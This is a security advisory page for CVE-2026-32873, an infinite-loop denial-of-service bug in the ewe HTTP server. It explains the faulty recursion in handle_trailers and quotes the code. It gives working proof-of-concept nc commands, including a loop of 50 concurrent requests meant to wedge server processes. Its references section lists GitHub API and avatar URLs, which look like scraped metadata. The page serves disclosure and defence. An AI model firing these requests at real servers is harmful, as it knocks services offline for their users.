# CVE-2026-32873: Loop with Unreachable Exit Condition ('Infinite Loop') in ewe

Source: https://junglewise.ai/threats/cve-2026-32873-loop-with-unreachable-exit-condition-infinite-loop-in-ewe  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-03-16. Updated: 2026-05-11  
License: CC BY 4.0 with a link back

CVE-2026-32873 · Severity: high · CVSS 7.5 · Published 2026-03-16

## Summary

ewe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.

## Impact

When `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:

```gleam
// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)
False -> handle_trailers(req, set, rest)
```

This causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.

**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.

### Proof of Concept

**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**

```sh
printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080
```

This will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.

**Exhaust server resources with concurrent requests:**

```sh
for i in $(seq 1 50); do
  printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 &
done
```

Open the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.

### Vulnerable Code

All three `False`/`Error` branches in `handle_trailers` have the same bug:

```gleam
// ewe/internal/http1.gleam, lines 493–531
fn handle_trailers(
  req: Request(BitArray),
  set: Set(String),
  rest: Buffer,
) -> Request(BitArray) {
  case decoder.decode_packet(HttphBin, rest) {
    Ok(Packet(HttpEoh, _)) -> req
    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {
      // ... field name parsing ...
      case field_name {
        Ok(field_name) -> {
          case
            set.contains(set, field_name) && !is_forbidden_trailer(field_name)
          {
            True -> {
              case bit_array.to_string(value) {
                Ok(value) -> {
                  request.set_header(req, field_name, value)
                  |> handle_trailers(set, Buffer(header_rest, 0))  // correct
                }
                Error(Nil) -> handle_trailers(req, set, rest)      // BUG: line 520
              }
            }
            False -> handle_trailers(req, set, rest)               // BUG: line 523
          }
        }
        Error(Nil) -> handle_trailers(req, set, rest)              // BUG: line 526
      }
    }
    _ -> req
  }
}
```

Vendors: [Erlang](https://junglewise.ai/threats/vendors/erlang).

## Quick answers

**Is CVE-2026-32873 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-32873 being exploited in the wild.

**How severe is CVE-2026-32873?** High severity, with a CVSS score of 7.5, published 16 March 2026.

**Which products and versions are affected?** Erlang Ewe >= 0.8.0, < 3.0.5.

**Is there a fix for CVE-2026-32873?** No fixed version is recorded yet. Check the vendor's advisory in the references below. If you run it, Junglewise drafts a mitigation that fits your setup and applies it once you approve, with senior security engineers behind it.

**Am I affected by CVE-2026-32873?** Check whether you run Erlang Ewe at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## Affected products

- Erlang Ewe >= 0.8.0, < 3.0.5

## Identifiers

- CVE-2026-32873
- GHSA-4w98-xf39-23gp

## References

- [https://api.github.com/users/jtdowney](https://api.github.com/users/jtdowney)
- [https://github.com/jtdowney](https://github.com/jtdowney)
- [https://api.github.com/users/jtdowney/gists%7B/gist_id%7D](https://api.github.com/users/jtdowney/gists%7B/gist_id%7D)
- [https://api.github.com/users/jtdowney/repos](https://api.github.com/users/jtdowney/repos)
- [https://avatars.githubusercontent.com/u/44654?v=4](https://avatars.githubusercontent.com/u/44654?v=4)
- [https://api.github.com/users/jtdowney/events%7B/privacy%7D](https://api.github.com/users/jtdowney/events%7B/privacy%7D)